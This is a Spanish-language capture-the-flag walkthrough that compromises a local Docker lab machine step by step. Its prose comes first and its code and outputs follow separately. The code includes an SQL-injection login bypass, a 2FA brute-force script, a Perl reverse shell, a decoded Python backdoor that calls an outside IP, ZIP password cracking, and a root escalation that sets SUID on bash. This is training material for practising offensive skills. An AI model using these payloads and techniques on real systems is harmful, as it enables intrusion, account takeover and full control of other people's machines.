Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipdoubletrouble.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shdoubletrouble.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Si entramos en la pagina vemos un panel de login, en el que si intentamos un SQL Injection se lo tragara y nos mostrara la opcion de cuando nos hemos logeado:
En esta veremos lo que parece ser un 2FA por lo que vamos a realizar fuerza bruta con un script que nos montaremos en python3 (hay que tener en cuenta que cuando se alcanza 3 intentos te lleva al login, por lo que tambien hay que controlar eso en el script):
2faBrute.py
generate2fadic.py
Primero vamos a ejecutar el generate2fadic.py para que nos genere el diccionario de nuemro:
Info:
Y una vez echo esto, ejecutaremos el siguiente script de la siguiente forma:
Info:
Vemos que el numero es el 0150 por lo que si lo ingresamos, veremos lo siguiente:
Escalate user www-data
Vamos a probar a subir un archivo con una reverse shell, pero vemos que solo nos deja los archivos .py por lo que haremos lo siguiente.
shell.py
Si subimos este archivo veremos lo siguiente en la pagina:
Por lo que vamos a ofuscarlo un poco mas con la siguiente pagina:
Ahora si subimos el archivo y carga la pagina, cuando volvamos a la escucha veremos lo siguiente:
Sanitización de shell (TTY)
Escalate user maci
Si vemos que archivos ha creado el usuario maci:
Info:
Vemos que es un .zip pero tiene toda la pinta de que hay 500 ZIPs comprimidos, por lo que tendremos que crear un script para descomprimir todos a la vez, pero que se quede en el ultimo ZIP, por lo que cuando el script detecte que esta en el archivo0.zip que pare:
unzip.sh
Pero antes de ejecutarlo nos pasaremos el archivo a nuestro host:
Y en nuestro host haremos lo siguiente:
Ahora si ejecutaremos el script en nuestro host.
Info:
Vemos que nos pide una contraseña en el archivo0.zip por lo que vamos a intenta crackearlo de la siguiente forma:
Info:
Ahora vamos a crackeral:
Info:
Vemos que la contraseña del ZIP es 12345678 por lo que haremos lo siguiente:
Metemos como contraseña 12345678 y veremos que se descomprimio bien, viendo lo siguiente:
Info:
Info:
Por lo que vemos obtenemos las credenciales del usuario maci, por lo que nos cambiaremos a dicho ususario.
En la maquina victima pondremos lo siguiente:
Metemos como contraseña 49392923 y veremos que somos dicho usuario.
Escalate user darksblack
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el binario irssi como el usuario darksblack, por lo que vamos a buscar informacion sobre dicho binario.
En la siguiente pagina vemos informacion bastante importante, se explica que se puede ejecutar un script con /run cuando se ejecuta el binario y que solo utiliza lenguaje de programacion en Perl:
Vamos a crear el siguiente script en perl para crearnos una reverse shell:
Le ponemos permisos de ejecuccion:
Y en nuestro host nos pondremos a la escucha:
Y ahora en la maquina victima haremos lo siguiente:
Info:
Ahora si nos vamos a donde teniamos la escucha, veremos lo siguiente:
Veremos que somos dicho usuario.
Escalate user juan
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar los siguientes comandos como el usuario juan por lo que primero ejecutaremos el cat para visualizar el script y ver que hace:
Info:
Vemos que hay muchos numeros, pero que parece tener un patron ascii por lo que vamos a crear un script para eliminar todo lo que no sea numeros y dejarlo limpio con solo numeros.
clearAscii.sh
Vamos a ejecutarlo de la siguiente forma (Hay que copiar el contenido del shell.py y pasarnoslo a nuestro host para realizar todo esto):
Info:
Ahora leemos los numeros...
Info:
Ahora vamos a crearnos un script que nos decodifique esto a texto plano, para enternder el codigo:
Vemos que el codigo nos lo esta proporcionando en Base64 y Base32 por lo que vamos a probar a decodificarlo, creando el siguiente script de python3 super simple:
decodeBases.py
Lo utilizamos de la siguiente forma:
Info:
Vemos que el codigo de shell.py esta haciendo una reverse shell hacia un puerto e IP en concreto, por lo que tendremos que cambiar nuestra IP por la del script y escuchar en dicho puerto.
En nuestra maquina host haremos lo siguiente:
Ahora si vemos que IP tenemos:
Info:
Vemos que ahora tenemos 2 IP's, por lo que ha funcionado añadiendo la IP del script, por lo que si ahora nos ponemos a la escucha:
Y en la maquina victima ejecutamos lo siguiente:
Si nos volvemos a la escucha veremos lo siguiente:
Por lo que vemos ha funcionado y seremos el usuario juan.
Escalate Privileges
Cuando pasa un rato vemos que nos echa de la shell por lo que vamos a ponernos de nuevo a la escucha:
Y en la maquina victima ejecutamos otra vez esto:
Volviendo a la escucha, veremos que obtenemos de nuevo la shell pero esta vez rapidamente vamos a ejecutar de forma seguida lo siguiente con el usuario juan:
Pero antes de enviarlo nos pondremos a la escucha sobre dicho puerto que vamos a enviar:
Y cuando ejecutemos lo anterior si volvemos a donde estabamos escuchando, veremos que hemos obtenido una shell con el mismo usuario juan pero esta vez no nos echara.
Sanitización de shell (TTY)
Si hacemos sudo -l veremos lo siguiente:
Vemos que podemos ejecutar el script mensajes.sh como el usuario root, por lo que haremos lo siguiente:
Si vemos donde esta ubicado el archivo, vemos que esta en nuestra home por lo que podremos eliminar el archivo y crear uno llamado de la misma forma para poner con permisos SUID la bash.
Una vez que lo hayamos eliminado, crearemos el mismo archivo con esto dentro:
Lo guardamos y le damos permisos de ejecuccion:
Una vez echo todo esto, lo ejecutaremos como el usuario root.
Ahora si listamos la bash veremos lo siguiente:
Info:
Vemos que ha funcionado por lo que haremos lo siguiente:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 11:42 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.62 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
import requests
import sys
# Configuración inicial
URL_LOGIN = "http://172.17.0.2/index.php"
URL_2FA = "http://172.17.0.2/2fa.php"
USUARIO = "admin' or 1=1-- -"
CONTRASEÑA = "admin' or 1=1-- -"
MAX_INTENTOS = 3 # Número máximo de intentos antes de reintentar autenticación inicial
# Crear una sesión para mantener cookies
sesion = requests.Session()
def iniciar_sesion():
"""
Realiza la autenticación inicial y devuelve True si es exitosa.
"""
datos_login = {
"username": USUARIO,
"password": CONTRASEÑA
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
}
print("[*] Intentando autenticación inicial...")
respuesta = sesion.post(URL_LOGIN, data=datos_login, headers=headers)
if respuesta.status_code == 200 and "Verificación de 2FA" in respuesta.text:
print("[+] Autenticación inicial completada con éxito.")
return True
else:
print("[-] Error en la autenticación inicial.")
return False
def probar_2fa(codigo):
"""
Envía un código 2FA y verifica si es correcto.
"""
datos_2fa = {
"code": codigo
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
}
respuesta = sesion.post(URL_2FA, data=datos_2fa, headers=headers)
if respuesta.status_code == 200:
if "Código incorrecto" in respuesta.text:
return False
else:
print(f"[+] ¡Código correcto encontrado!: {codigo}")
return True
return False
def fuerza_bruta_2fa(diccionario):
"""
Realiza la fuerza bruta utilizando códigos de un diccionario.
"""
intentos = 0
for codigo in diccionario:
codigo = codigo.strip() # Eliminar espacios en blanco o saltos de línea
print(f"[*] Probando código: {codigo}")
# Intentar autenticación 2FA
if probar_2fa(codigo):
print("[+] Fuerza bruta exitosa.")
return # Salir si encontramos el código correcto
intentos += 1
# Reautenticación si se alcanza el límite de intentos
if intentos >= MAX_INTENTOS:
print(f"[!] Se alcanzó el límite de intentos ({MAX_INTENTOS}). Reautenticando...")
if not iniciar_sesion():
print("[-] No se pudo reautenticar. Deteniendo el proceso.")
return
intentos = 0
print("[-] Fuerza bruta completada. No se encontró un código válido.")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Uso: python3 script.py <archivo_diccionario>")
sys.exit(1)
archivo_diccionario = sys.argv[1]
# Leer los códigos del archivo de diccionario
try:
with open(archivo_diccionario, "r") as f:
codigos_diccionario = f.readlines()
except FileNotFoundError:
print(f"Error: No se encontró el archivo '{archivo_diccionario}'")
sys.exit(1)
# Iniciar fuerza bruta
if iniciar_sesion():
fuerza_bruta_2fa(codigos_diccionario)
#!/bin/python3
# Archivo de salida
output_file = "diccionario.txt"
# Abrir el archivo en modo escritura
with open(output_file, "w") as file:
# Generar todas las combinaciones de 4 dígitos
for i in range(10000): # Desde 0 hasta 9999
# Formatear el número como cadena de 4 dígitos (ejemplo: 0001, 0123)
code = f"{i:04}"
# Escribir la combinación en el archivo
file.write(code + "\n")
print(f"Diccionario generado exitosamente en {output_file}")
python3 generate2fadic.py
Diccionario generado exitosamente en diccionario.txt
python3 2faBrute.py diccionario.txt
..............................
[*] Probando código: 0144
[*] Probando código: 0145
[*] Probando código: 0146
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0147
[*] Probando código: 0148
[*] Probando código: 0149
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0150
[+] ¡Código correcto encontrado!: 0150
[+] Fuerza bruta exitosa.
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 44498
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8a98f880c087:/$
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
find / -type f -user maci 2>/dev/null
/var/backups/.maci/.-/-/archivo500.zip
#!/bin/bash
# Archivo ZIP principal que contiene otros archivos ZIP
ZIP_PRINCIPAL="archivo500.zip"
# Directorio donde se extraerán los archivos
DIRECTORIO_EXTRAER="extraido"
# Crear el directorio de extracción si no existe
mkdir -p "$DIRECTORIO_EXTRAER"
# Descomprimir el archivo principal
echo "Descomprimiendo el archivo principal: $ZIP_PRINCIPAL"
unzip -q "$ZIP_PRINCIPAL" -d "$DIRECTORIO_EXTRAER"
# Comenzar el bucle desde 500 hasta 1
for i in $(seq 500 -1 1)
do
# Si el número es mayor que 9 y menor que 100, es decir, de 10 a 99, usamos el formato normal
ZIP_FILE="$DIRECTORIO_EXTRAER/archivo$i.zip"
# Verificar si el archivo existe
if [ -f "$ZIP_FILE" ]; then
# Mostrar cuál archivo ZIP estamos descomprimiendo
echo "Descomprimiendo $ZIP_FILE..."
# Descomprimir el archivo ZIP
unzip -q "$ZIP_FILE" -d "$DIRECTORIO_EXTRAER"
# Eliminar el archivo ZIP después de descomprimirlo (si lo deseas)
rm -f "$ZIP_FILE"
else
echo "No se encontró $ZIP_FILE. Saltando..."
fi
done
echo "Proceso completado."
cd /var/backups/.maci/.-/-/
python3 -m http.server
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678 (archivo0.zip/pass.txt)
1g 0:00:00:00 DONE (2025-01-16 13:03) 9.090g/s 74472p/s 74472c/s 74472C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Matching Defaults entries for maci on b4145e7ece7c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User maci may run the following commands on b4145e7ece7c:
(darksblack) NOPASSWD: /usr/bin/irssi
#!/usr/bin/perl
use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};
listening on [any] 7755 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 35466
darksblack@b4145e7ece7c:/tmp$ whoami
whoami
darksblack
Matching Defaults entries for darksblack on b4145e7ece7c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User darksblack may run the following commands on b4145e7ece7c:
(juan) NOPASSWD: /usr/bin/python3 /home/juan/shell.py
(juan) NOPASSWD: /bin/cat /home/juan/shell.py
#!/bin/bash
# Verifica si se pasa un archivo como argumento
if [ -z "$1" ]; then
echo "Por favor, pasa el archivo .py como argumento."
exit 1
fi
# Extrae los números del archivo .py y los guarda en numeros.txt
grep -o '[0-9]\+' "$1" | tr '\n' ' ' > numeros.txt
echo "Los números se han guardado en numeros.txt."
#!/bin/bash
# Comprueba si se han proporcionado los argumentos necesarios
if [ "$#" -ne 2 ]; then
echo "Uso: $0 <archivo_ascii.txt> <archivo_salida.txt>"
echo "Ejemplo: $0 entrada_ascii.txt salida_texto.txt"
exit 1
fi
# Archivos de entrada y salida
archivo_ascii="$1"
archivo_salida="$2"
# Comprueba si el archivo de entrada existe
if [ ! -f "$archivo_ascii" ]; then
echo "El archivo $archivo_ascii no existe."
exit 1
fi
# Limpia o crea el archivo de salida
> "$archivo_salida"
# Lee cada línea del archivo de entrada, convierte los códigos ASCII y escribe en el archivo de salida
while IFS= read -r linea; do
# Convierte cada número ASCII a carácter y concatena
texto=$(echo "$linea" | awk '{for (i=1; i<=NF; i++) printf "%c", $i}')
echo "$texto" >> "$archivo_salida"
done < "$archivo_ascii"
echo "Conversión completada. El resultado está en $archivo_salida."
bash decodeAscii.sh numeros.txt outputfile.txt
Conversión completada. El resultado está en outputfile.txt.
import base64
# Cadena codificada
encoded_string = 'MFLTC53CGNFDASKIJY2WG53QOBRFQQTWMNXFCZ3CGNGUWYKXGF3WEM2KGBEUQTRRLFXEE6LCGJHGYYZTJVFWCVZRO5RDGSRQJFEE45SZGJ2GYZCBOBYGEWCCOYFGG3SRM5SEO3DULJIW6S2TIU4VIVSDIE4USQ2JPBHHUSLVJVKGG5KNIM2HQT2EJVUUG3CCKBKWYULHKBJUCMKNIRAXSQ3HOBVVUV2ZM5MTEOLVMJWVM2TEINUG6CTCGNHDATCDIJ3WEM2KGBFVI32LJFBUCZ2JJBGWOUCTIJ5GEMSOOJNFQULVMMZDS2TBGJLDAS2IJZ3FSMTUNRSEGNKCKJWDSSSUNNLFKTCDIJ5GEMSOOJNFQULVBJKTAOKEKMYTSVCWIZFEMUKVGBYEG2KBM5EUGQT2JRWU45TCNU2WYWJTKFXUWR3IOZRTGULTJFEEE5TDNZIXAS2RN5TUSQ2BM5RW2VRQMRMEU5KJJBGUWQ3NKJWAUWTJIIZVSV3MGBMDEWTWMNWDS2TCGIYXIWKXGVVUWSCNOBHWO33HJFBUCZ22I5DDAWKTIE4USSCNOVRW2VTKMRUWO6CNIRETAS2RN5TUSQ2BM5QVOWLHLJDUMMAKLFJUCOKQKNAWSY2YKZYGIRTYOVEWU32LJFBUCZ2JINAWOSKDIJ5EY3KOONRDGTTMJNBWWS2JINAWOSKDIFTUSQ2CPJSVQTLVLJMGQ4DEINTXOS2RN5TUSQ2BM4FES6KCGBQUOVLHMMZDS2TBGJLDASKHKJYFUV2RJNEUGQLHJFDVM43BK5MWOYSHKZ2UWR2SNBSEORLQJFCDAOKJIRATMQ3JIFTUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTWGM2SNNRDGVRQKBME4MKZNZBHSYRSJZWAUYZTJV2VKRLMKFJFG53HMMZVE222LBFHSUCYJYYVS3SCPFRDETTMMMZU25KVIVWFCUSTO5FUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFBUCZYKJFBUCZ2JINAWOSKDIJ5GIR2SOBRGUML2MRLUU53DNU4WUWSYJZ5EY3CCJJKUKVLQINUUCZ2JINAWOSKDIFTWG6JVPJNFONLLJNEE4MC2I44TCCTEIY4TEWKXPAYVUU3LJNEUGQLHJFBUCZ2JINBHSWSYKIYWG3JUM5JG2RTTMMZFKS2DNVJGYWTJIJ2FSV3MOVFUG2ZWINUUCZ2JINBDGYKHNRZVUU2CKVRW4VTMBJHWO33HJFBUCZ2JINAWOSKIJZ3FSMTUNRSEMOLLMFLVM22JIQYGOUTNIZZWGMSVJNEUGQLHJFBUCZ2JINBDAY3ONM3EG2KBM5EUGQLHJFBUCZ2JINAWOSKIJVTQUUCTIJVGEMRVOVNFOTRQJNCWQUCVGFIXGSKGIJIFK3CROBBWSQLHJFBUCZ2JINAWOSKDIFTUSSDEN5QVO6DMJFDTK5TEINBHUYRSJZZFUWCSMZNEO3DMLJCG6SYKJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFEE45SZGJ2GYZCGHFVWCV2WNNEUIMDHMQZEM4DEIY4W2YRTJJTFSMRZORRFORTVLJBWQ6SLKFXWOSKDIFTUSQ2BM4FESQ2BM5EUGQT2JRWU443CGNHGYS2DNNFUSQ2BM5EUGQLHJFBUE3DFI5HGYY2IKFTWGMRZNJQTEVRQJRWVM6LDNU4XST3HN5TUSQ2BM5EUGQLHJFBUCZ2JINBHOCSZLBHHUQ3JIFTUSQ2BM5EUGQLHMRDWY5C2KM2XUYSHKZWGGQ3HGFFVC32LMFLVSZ2YGE4XKWKXGFWFQMJYM5IFIMDHJFWDSZTCK5DHAYTMHFTES2TPJNEUGQLHBJEUQTRVMN4TK3DFI5WDAS2HGFUGCVZUN5FVG22LBI======'
# Decodifica la cadena primero de Base32 y luego de Base64
decoded_data = base64.b64decode(base64.b32decode(encoded_string))
# Muestra el resultado
print(decoded_data.decode('utf-8'))
python3 decodeBases.py
import sys
import os
import subprocess
import socket
import time
HOST = "172.17.0.183"
PORT = 5002
def connect(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def wait_for_command(s):
data = s.recv(1024)
if data == "quit\n":
s.close()
sys.exit(0)
# the socket died
elif len(data) == 0:
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
s.send(stdout_value)
return False
def main():
while True:
socket_died = False
try:
s = connect(HOST, PORT)
while not socket_died:
socket_died = wait_for_command(s)
s.close()
except socket.error:
pass
time.sleep(5)
if __name__ == "__main__":
sys.exit(main())
sudo ip addr add 172.17.0.183/16 dev docker0
ip addr show docker0
ip addr show docker0
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:12:3e:c2:85 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet 172.17.0.183/16 scope global secondary docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:12ff:fe3e:c285/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
nc -lvnp 5002
sudo -u juan /usr/bin/python3 /home/juan/shell.py
listening on [any] 5002 ...
connect to [172.17.0.183] from (UNKNOWN) [172.17.0.2] 47014
whoami
juan
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for juan on 3c279e99f11b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User juan may run the following commands on 3c279e99f11b:
(ALL : ALL) NOPASSWD: /home/juan/mensajes.sh
rm /home/juan/mensajes.sh
nano /home/juan/mensajes.sh
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
chmod +x /home/juan/mensajes.sh
sudo /home/juan/mensajes.sh
ls -la /bin/bash
-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash